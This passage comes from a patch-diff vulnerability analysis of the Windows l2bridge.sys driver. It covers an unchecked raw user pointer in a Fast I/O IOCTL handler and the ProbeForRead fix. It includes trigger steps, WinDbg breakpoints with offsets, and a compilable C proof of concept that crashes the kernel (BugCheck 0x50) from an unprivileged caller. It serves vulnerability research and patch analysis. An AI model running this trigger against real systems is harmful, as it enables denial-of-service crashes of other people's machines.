&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b7f&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; edx = InputBufferLength&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b81&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; arg3 (must be 0)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b86&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; rcx = InputBuffer (RAW user ptr)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b89&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009c5c&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; L2BridgeCtlBridgeInterfaces_Handler(...)&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009b9f&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; return TRUE = Fast I/O handled&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Note the absence of any probe or buffered-copy here as well — Fast I/O &lt;em&gt;by contract&lt;/em&gt; hands the driver raw user pointers; the callee must do its own probing. The patched callee now does so.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Obtain a handle to the device: &lt;code&gt;CreateFileW(L"\\\\.\\L2BRIDGE", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL)&lt;/code&gt;. The device is created by &lt;code&gt;FilterRegisterDevice&lt;/code&gt; with no explicit SDDL, so it inherits default NDIS device ACLs (typically accessible to medium-IL user-mode callers on the local machine).&lt;/li&gt;
&lt;li&gt;Issue &lt;code&gt;DeviceIoControl(h, 0x12a000, lpInBuffer, nInBufferSize, ...)&lt;/code&gt;. The IOCTL decodes as &lt;code&gt;DeviceType=0x12 (FILE_DEVICE_NETWORK)&lt;/code&gt;, &lt;code&gt;Function=0x800&lt;/code&gt;, &lt;code&gt;Method=0 (METHOD_BUFFERED)&lt;/code&gt;, &lt;code&gt;Access=2 (FILE_WRITE_ACCESS)&lt;/code&gt;. Although the code is &lt;code&gt;METHOD_BUFFERED&lt;/code&gt; — which under normal IRP dispatch would make the I/O manager copy the input into a kernel &lt;code&gt;SystemBuffer&lt;/code&gt; — the request is serviced by the driver's Fast I/O device-control routine, which hands over the caller's raw &lt;code&gt;InputBuffer&lt;/code&gt; pointer with no such copy. The routine returns &lt;code&gt;TRUE&lt;/code&gt;, so the Fast I/O path is taken and the raw pointer reaches the handler untouched.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;lpInBuffer&lt;/code&gt; to the &lt;em&gt;target address&lt;/em&gt; the attacker wants the kernel to read 16 bytes from.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BSOD DoS&lt;/strong&gt;: pass &lt;code&gt;lpInBuffer = (LPVOID)0x1&lt;/code&gt; (or any unmapped user-mode address).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Blind read (no crash)&lt;/strong&gt;: pass &lt;code&gt;lpInBuffer = (LPVOID)&amp;lt;kernel VA&amp;gt;&lt;/code&gt; for a valid, mapped kernel address. The 16 bytes are read but not returned to the caller.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nInBufferSize&lt;/code&gt; can be anything; the vulnerable &lt;code&gt;movups&lt;/code&gt; at &lt;code&gt;0x1c0009c6f&lt;/code&gt; executes &lt;strong&gt;unconditionally before&lt;/strong&gt; the size check at &lt;code&gt;0x1c0009c85&lt;/code&gt;. Setting it to &lt;code&gt;0x10&lt;/code&gt; is harmless; setting it to &lt;code&gt;0&lt;/code&gt; still triggers the dereference.&lt;/li&gt;
&lt;li&gt;No race conditions or special ordering required — single synchronous call.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirmation&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;DoS path: BugCheck &lt;code&gt;0x50 PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; with the faulting address equal to the supplied &lt;code&gt;lpInBuffer&lt;/code&gt; value and the faulting instruction at &lt;code&gt;0x1c0009c6f&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Blind-read path: no crash for a valid, mapped kernel address; the 16 bytes are read into &lt;code&gt;xmm0&lt;/code&gt; and used internally only. Under a debugger, &lt;code&gt;xmm0&lt;/code&gt; immediately after &lt;code&gt;0x1c0009c6f&lt;/code&gt; shows the 16 read bytes, but nothing is returned to the caller.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; The demonstrable primitive is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reliable BSOD / DoS&lt;/strong&gt; from any caller that can open the device. Passing an unmapped pointer faults in &lt;code&gt;movups xmm0, [rcx]&lt;/code&gt; at &lt;code&gt;0x1c0009c6f&lt;/code&gt; before any validation, producing a kernel bug check.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The dereference also performs a 16-byte read from the attacker-supplied address, but that value is consumed only as two lookup keys inside &lt;code&gt;L2BridgeFindandReferenceFilterModule&lt;/code&gt; and is never copied back to user mode. The only caller-observable result is the returned status code, which reflects at most whether the read bytes happened to equal an existing filter-module identifier (an 8-byte exact-match test against a value the attacker does not control at that address). That is not a usable memory-disclosure oracle, so this bug does not by itself yield an information leak, KASLR defeat, or a read primitive that can be scanned across kernel memory. Turning the read into an actual disclosure would require a separate side channel or bug; none is provided by this handler.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Relevant mitigations.&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;th&gt;Effect on this bug&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SMEP / SMAP&lt;/td&gt;
&lt;td&gt;Do not prevent the crash; the fault is a kernel-mode access to the attacker-supplied address. SMAP only restricts kernel access to &lt;em&gt;user&lt;/em&gt; pages.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ProbeForRead&lt;/code&gt; (in the patched build)&lt;/td&gt;
&lt;td&gt;Closes the bug for user-mode callers: an invalid or non-readable user pointer is rejected by &lt;code&gt;ProbeForRead&lt;/code&gt; (raising &lt;code&gt;STATUS_ACCESS_VIOLATION&lt;/code&gt; inside a guarded region) instead of being dereferenced.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Assuming WinDbg/KD is attached to a target running &lt;code&gt;l2bridge_unpatched.sys&lt;/code&gt;:&lt;/p&gt;
&lt;h3&gt;Breakpoints (ready-to-paste)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;l2bridge&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;FilterFastDeviceIoControl&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x46&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;corresponds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0009b86&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;into&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0009c5c&lt;/span&gt;&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;L2BridgeCtlBridgeInterfaces_Handler&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;InputBuffer&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0009c6f&lt;/span&gt;&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vulnerable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chance&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inspect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0009ca4&lt;/span&gt;&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;L2BridgeFindandReferenceFilterModule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;consumes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lookup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;If symbols are flaky, just use the absolute addresses above (&lt;code&gt;bp 0x1c0009c6f&lt;/code&gt;, etc.). If the driver is relocated, get its base via &lt;code&gt;lm m l2bridge&lt;/code&gt; and add the RVA: e.g. for base &lt;code&gt;0xFFFFF801'23400000&lt;/code&gt;, the vulnerable instruction is &lt;code&gt;bp fffff801'23409c6f&lt;/code&gt; (RVA &lt;code&gt;0x9c6f&lt;/code&gt;).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;What to inspect at each breakpoint&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Breakpoint&lt;/th&gt;
&lt;th&gt;Register/Memory to watch&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FilterFastDeviceIoControl&lt;/code&gt; (&lt;code&gt;0x1c0009b86&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rdi&lt;/code&gt; (= &lt;code&gt;r8&lt;/code&gt; on entry = raw &lt;code&gt;InputBuffer&lt;/code&gt;); &lt;code&gt;[rsp+0x60]&lt;/code&gt; should equal &lt;code&gt;0x12a000&lt;/code&gt;; &lt;code&gt;ebx&lt;/code&gt; = &lt;code&gt;InputBufferLength&lt;/code&gt; (copied from &lt;code&gt;r9d&lt;/code&gt; on entry)&lt;/td&gt;
&lt;td&gt;Confirms IOCTL code and the raw pointer being forwarded.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;L2BridgeCtlBridgeInterfaces_Handler&lt;/code&gt; (&lt;code&gt;0x1c0009c5c&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = attacker-controlled InputBuffer pointer; &lt;code&gt;edx&lt;/code&gt; = InputBufferLength; &lt;code&gt;r8&lt;/code&gt; = OutputBuffer (must be 0); &lt;code&gt;r9d&lt;/code&gt; = OutputBufferLength (must be 0)&lt;/td&gt;
&lt;td&gt;Last point at which the pointer is intact in &lt;code&gt;rcx&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerable &lt;code&gt;movups&lt;/code&gt; (&lt;code&gt;0x1c0009c6f&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; — this is the address that will be read&lt;/td&gt;
&lt;td&gt;If &lt;code&gt;rcx&lt;/code&gt; is &lt;code&gt;0x1&lt;/code&gt; or unmapped → expect BSOD &lt;code&gt;0x50&lt;/code&gt; next instruction. If &lt;code&gt;rcx&lt;/code&gt; is a kernel VA → no fault; step one instruction and inspect &lt;code&gt;xmm0&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;After &lt;code&gt;movups&lt;/code&gt; (&lt;code&gt;0x1c0009c72&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;xmm0&lt;/code&gt;, &lt;code&gt;[rsp+0x30]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Contains the 16 bytes read from the supplied address; used only as two lookup keys, not returned to the caller.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;L2BridgeFindandReferenceFilterModule&lt;/code&gt; (&lt;code&gt;0x1c0009ca4&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; (pointer to the saved 16 bytes on stack &lt;code&gt;[r11-0x28]&lt;/code&gt;); result returned in &lt;code&gt;rax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Confirms how the read bytes are consumed; for a kernel VA input the keys will not match → &lt;code&gt;rax = NULL&lt;/code&gt; → handler returns &lt;code&gt;STATUS_NOT_FOUND (0xC0000225)&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Key instructions / offsets&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1c0009c6f&lt;/code&gt; — &lt;code&gt;movups xmm0, xmmword [rcx]&lt;/code&gt; — &lt;strong&gt;the vulnerable instruction&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c0009c85&lt;/code&gt; — &lt;code&gt;cmp edx, 0x10&lt;/code&gt; — size check that should have come first.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c0009ca0&lt;/code&gt; — &lt;code&gt;mov rcx, qword [r11-0x28]&lt;/code&gt; — sets up the GUID pointer argument for the lookup.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c0009ca4&lt;/code&gt; — &lt;code&gt;call 0x1c0009bb0&lt;/code&gt; (&lt;code&gt;L2BridgeFindandReferenceFilterModule&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c0009b86&lt;/code&gt; / &lt;code&gt;0x1c0009b89&lt;/code&gt; — in &lt;code&gt;FilterFastDeviceIoControl&lt;/code&gt;: load &lt;code&gt;InputBuffer&lt;/code&gt; into &lt;code&gt;rcx&lt;/code&gt; and call the handler.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patch's added instructions (to diff against the unpatched build):&lt;/strong&gt; &lt;code&gt;test rcx, rcx&lt;/code&gt;, &lt;code&gt;call qword [ExGetPreviousMode]&lt;/code&gt;, &lt;code&gt;call qword [ProbeForRead]&lt;/code&gt;. The unpatched import table does &lt;em&gt;not&lt;/em&gt; contain either &lt;code&gt;ExGetPreviousMode&lt;/code&gt; or &lt;code&gt;ProbeForRead&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Trigger setup (from user mode)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateFileW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;L2BRIDGE&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="n"&gt;GENERIC_READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GENERIC_WRITE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OPEN_EXISTING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INVALID_HANDLE_VALUE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GetLastError&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Path A — instant BSOD (DoS). Pointer 0x1 is unmapped.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DeviceIoControl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x12a000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LPVOID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0x1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Path B — blind 16-byte kernel read (value is NOT returned to the caller).&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Replace &amp;lt;kernelVA&amp;gt; with a known mapped kernel address.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ULONG_PTR target = &amp;lt;kernelVA&amp;gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// DeviceIoControl(h, 0x12a000, (LPVOID)target, 0x10, NULL, 0, &amp;amp;bytes, NULL);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CloseHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Expected observation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DoS path&lt;/strong&gt;: &lt;code&gt;BugCheck 0x50 (PAGE_FAULT_IN_NONPAGED_AREA)&lt;/code&gt;; parameter 1 = the &lt;code&gt;lpInBuffer&lt;/code&gt; value (&lt;code&gt;0x1&lt;/code&gt;); faulting IP = &lt;code&gt;0x1c0009c6f&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Blind-read path&lt;/strong&gt;: call returns &lt;code&gt;STATUS_NOT_FOUND (0xC0000225)&lt;/code&gt; (mapped from the handler's &lt;code&gt;ebx = 0xc0000225&lt;/code&gt; at &lt;code&gt;0x1c0009cb1&lt;/code&gt;). No crash. Under the debugger, &lt;code&gt;xmm0&lt;/code&gt; after &lt;code&gt;0x1c0009c6f&lt;/code&gt; holds the 16 bytes read from the supplied kernel address, but that value is not returned to user mode.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Struct / offset notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;L2BridgeCtlBridgeInterfaces_Handler&lt;/code&gt; argument layout (x64 fastcall): &lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;arg1&lt;/code&gt; (InputBuffer, dereferenced as 16 bytes = two 8-byte interface identifiers), &lt;code&gt;edx&lt;/code&gt; = &lt;code&gt;arg2&lt;/code&gt; (InputBufferLength), &lt;code&gt;r8&lt;/code&gt; = OutputBuffer, &lt;code&gt;r9d&lt;/code&gt; = OutputBufferLength. Both OutputBuffer and OutputBufferLength must be 0 to reach the lookup path.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FilterFastDeviceIoControl&lt;/code&gt; (FastIoDeviceControl callback) reads on entry &lt;code&gt;r8&lt;/code&gt; = InputBuffer, &lt;code&gt;r9d&lt;/code&gt; = InputBufferLength (copied to &lt;code&gt;ebx&lt;/code&gt;); the stack args land at &lt;code&gt;[rsp+0x50]&lt;/code&gt; = OutputBuffer, &lt;code&gt;[rsp+0x58]&lt;/code&gt; = OutputBufferLength, &lt;code&gt;[rsp+0x60]&lt;/code&gt; = IoControlCode, &lt;code&gt;[rsp+0x68]&lt;/code&gt; = IoStatus.&lt;/li&gt;
&lt;li&gt;The saved 16 bytes live on the handler stack at &lt;code&gt;[rsp+0x30]&lt;/code&gt; (the second 8-byte identifier is sourced from &lt;code&gt;[rsp+0x38]&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FILTER_MODULE&lt;/code&gt; layout: in the unpatched build, &lt;code&gt;+0x84&lt;/code&gt; holds the field compared between the two looked-up filter modules (&lt;code&gt;cmp dword [rdi+0x84], eax&lt;/code&gt; at &lt;code&gt;0x1c0009cdd&lt;/code&gt;). In the patched build this moves to &lt;code&gt;+0x8c&lt;/code&gt; because of a new 8-byte &lt;code&gt;RWLock&lt;/code&gt; field inserted at offset &lt;code&gt;0x10&lt;/code&gt; of the structure.&lt;/li&gt;
